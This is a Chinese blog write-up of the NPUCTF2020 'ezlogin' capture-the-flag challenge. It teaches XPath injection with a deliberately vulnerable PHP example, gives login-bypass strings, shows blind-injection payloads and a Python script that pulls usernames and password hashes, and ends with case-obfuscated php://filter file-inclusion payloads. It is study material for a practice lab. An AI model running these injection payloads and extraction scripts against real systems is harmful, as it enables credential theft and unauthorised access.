刷题笔记:[NPUCTF2020]ezlogin


前言

关键字:[登录框动画]

题解

看了下,登录验证在static/main.js里

var current = null;
document.querySelector('#username').addEventListener('focus', function(e) {
  if (current) current.pause();
  current = anime({
    targets: 'path',
    strokeDashoffset: {
      value: 0,
      duration: 700,
      easing: 'easeOutQuart'
    },
    strokeDasharray: {
      value: '240 1386',
      duration: 700,
      easing: 'easeOutQuart'
    }
  });
});
document.querySelector('#password').addEventListener('focus', function(e) {
  if (current) current.pause();
  current = anime({
    targets: 'path',
    strokeDashoffset: {
      value: -336,
      duration: 700,
      easing: 'easeOutQuart'
    },
    strokeDasharray: {
      value: '240 1386',
      duration: 700,
      easing: 'easeOutQuart'
    }
  });
});
document.querySelector('#submit').addEventListener('focus', function(e) {
  if (current) current.pause();
  current = anime({
    targets: 'path',
    strokeDashoffset: {
      value: -730,
      duration: 700,
      easing: 'easeOutQuart'
    },
    strokeDasharray: {
      value: '530 1386',
      duration: 700,
      easing: 'easeOutQuart'
    }
  });
});

function doLogin(){
  var username = $("#username").val();
  var password = $("#password").val();
  var token = $("#token").val();
  if(username == "" || password == ""){
    $(".msg").text("用户名和密码不能为空!");
    return;
  }

  var data = "<username>"+username+"</username>"+"<password>"+password+"</password>"+"<token>"+token+"</token>";
    $.ajax({
        type: "POST",
        url: "login.php",
        contentType: "application/xml",
        data: data,
        anysc: false,
        success: function (result, status, xhr) {
          if(result == '成功'){
            window.location.href = 'admin.php';
          }
          $(".msg").text(result);

        },
        error: function (XMLHttpRequest,textStatus,errorThrown) {
            $(".msg").text(errorThrown + ':' + textStatus);
        }
    });
}

这动画还蛮炫的

是以这样的形式传过去的:

加个<?xml version="1.0"?>提示格式错误

还以为是XXE试了半天不行,一看wp,得,xpath注入。

虽然爬虫用过xpath,但没想到还能注入。

XPath注入

XPath没有注释一说,所以构造的payload要根据语句进行闭合

XPath 注入指北

  • 字符串相关函数

    codepoints-to-string(a, b, c, …):将数字 a、b、c 转为对应的字符, Python 的chr函数类似。

    string-to-codepoints(string):与上面的相反

    compare(a, b, rule):比大小,func 是比较大小的规则

    string-join((string, string, …), sep):使用 sep 参数作为分隔符,来返回 string 参数拼接后的字符串。

    substring(string, start [,len]):返回从 start 位置开始的指定长度的子字符串。第一个字符的下标是 1。如果省略 len 参数,则返回从位置 start 到字符串末尾的子字符串。

    string-length([string]):返回指定字符串的长度。如果没有 string 参数,则返回当前节点的字符串值的长度。

  • 其他函数

    count(item[, item1, …]):返回节点的数量。

    position():返回当前正在被处理的节点的 index 位置。

    last():返回在被处理的节点列表中的项目数目。

    name([nodeset]):返回当前节点的名称或指定节点集中的第一个节点。

举个例子

users.xml:

<?xml version="1.0" encoding="UTF-8"?>
<root>
    <users>
        <user>
            <id>1</id>
            <username>admin</username>
            <password type="md5">0192023a7bbd73250516f069df18b500</password>
        </user>
        <user>
            <id>2</id>
            <username>jack</username>
            <password type="md5">1d6c1e168e362bc0092f247399003a88</password>
        </user>
        <user>
            <id>3</id>
            <username>tony</username>
            <password type="md5">cc20f43c8c24dbc0b2539489b113277a</password>
        </user>
    </users>
    <secret>
        <flag>flag{My_f1rst_xp4th_iNjecti0n}</flag>
    </secret>
</root>

index.php:

<?php
$xml = simplexml_load_file('users.xml');
$name = $_GET['u'];
$pwd = md5($_GET['p']);
$query = "/root/users/user[username/text()='".$name."' and password/text()='".$pwd."']";
echo $query;
$result = $xml->xpath($query);
if($result) {
    echo '<h2>Welcome</h2>';
    foreach ($result as $key => $value) {
        echo '<br />ID:'.$value->id;
        echo '<br />Username:'.$value->username;
    }
}
常规注入

这段测试代码的查询语句如下:

/root/users/user[username/text()='' and password/text()='']

万能密码:

u = "admin' or '1"
p = ""

结果:

/root/users/user[username/text()='admin' or '1' and password/text()='d41d8cd98f00b204e9800998ecf8427e']

若不知道用户名则可以再加个or

u = "' or 1 or '1"
p = ""
/root/users/user[username/text()='' or 1 or '1' and password/text()='d41d8cd98f00b204e9800998ecf8427e']

这是根据XML特性来的

查询如果不是用[键=’值’]这种方式的查询,只会返回所有路径标签的值
如果带有[键=’值’]的查询,会返回和该路径相同的所有路径和该类路径之下节点的所有的值

布尔盲注

1.判断根节点数量

u = "' or count(/)=1 or '1"

count(/)=1 一直到 count(/)=n,判断出根节点有几个。

u = "' or count(/)=1 or '1"返回正常,说明只有 1 个根节点。下文同理。

2.获取根节点名

首先获取名字长度

u = "' or string-length(name(/*[1]))=1 or '1"

接下来获取逐个字符获取名字

u = "' or substring(name(/*[1]), 1, 1)='a' or '1"

回到题目,先猜根节点,脚本如下

import requests
import re
import time

s = requests.session()
url = 'http://9dd95219-88d2-4ba7-b7b8-7ef112820c15.node4.buuoj.cn:81/'
head = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36",
    "Content-Type": "application/xml"
}
find = re.compile('<input type="hidden" id="token" value="(.*?)" />')
strs = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
flag = ''
for i in range(1, 100):
    for j in strs:
        r = s.post(url=url)
        time.sleep(0.1)
        token = find.findall(r.text)
        # 猜测根节点名称
        payload_1 = "<username>'or substring(name(/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(
            i, j, token[0])
        # 猜测子节点名称
        payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(
            i, j, token[0])
        # 猜测accounts的节点
        payload_3 = "<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(
            i, j, token[0])
        # 猜测user节点
        payload_4 = "<username>'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(
            i, j, token[0])
        # 跑用户名和密码
        payload_username = "<username>'or substring(/root/accounts/user[2]/username/text(), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(
            i, j, token[0])
        payload_password = "<username>'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(
            i, j, token[0])
        r = s.post(url=url, headers=head, data=payload_1)
        time.sleep(0.2)
        if "非法操作" in r.text:
            flag += j
            print(flag)
            break
    if "用户名或密码错误!" in r.text:
        break

print(flag)

注意,xpath是从[1]开始的

root的子节点

/root/accounts的子节点

就是这样一个一个跑就行了。

跑出来大概形式就是这样

<root>
      <accounts>
            <user>
                  <id></id>
                  <username>gtfly123</username>
                  <password>e10adc3949ba59abbe56e057f20f883e</password>
            </user>
            <user>
                  <id></id>
                  <username>adm1n</username>
                  <password>cf7414b5bdb2e65ee43083f4ddbc4d9f</password>
            </user>
      </accounts>
</root>

还可以这种形式:

substring(string(/*[1]/*[1]/*[2]/*[3]),1,1)='a'

用adm1n@gtfly123登录

登录后发现base64,解码:flag is in /flag

利用文件包含,提示nonono。有过滤,最后用大小写绕过,这要是不说,没有源码真想不到啊,尽量多做尝试吧。

?file=pHp://filter/convert.BAse64-encode/resource=/flag
?file=pHp://FiltEr/convert.BAse64-eNcode/resource=/flag

试了下发现,convert resource不能修改大小写。


文章作者: 巡璃
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 巡璃 !
评论
  目录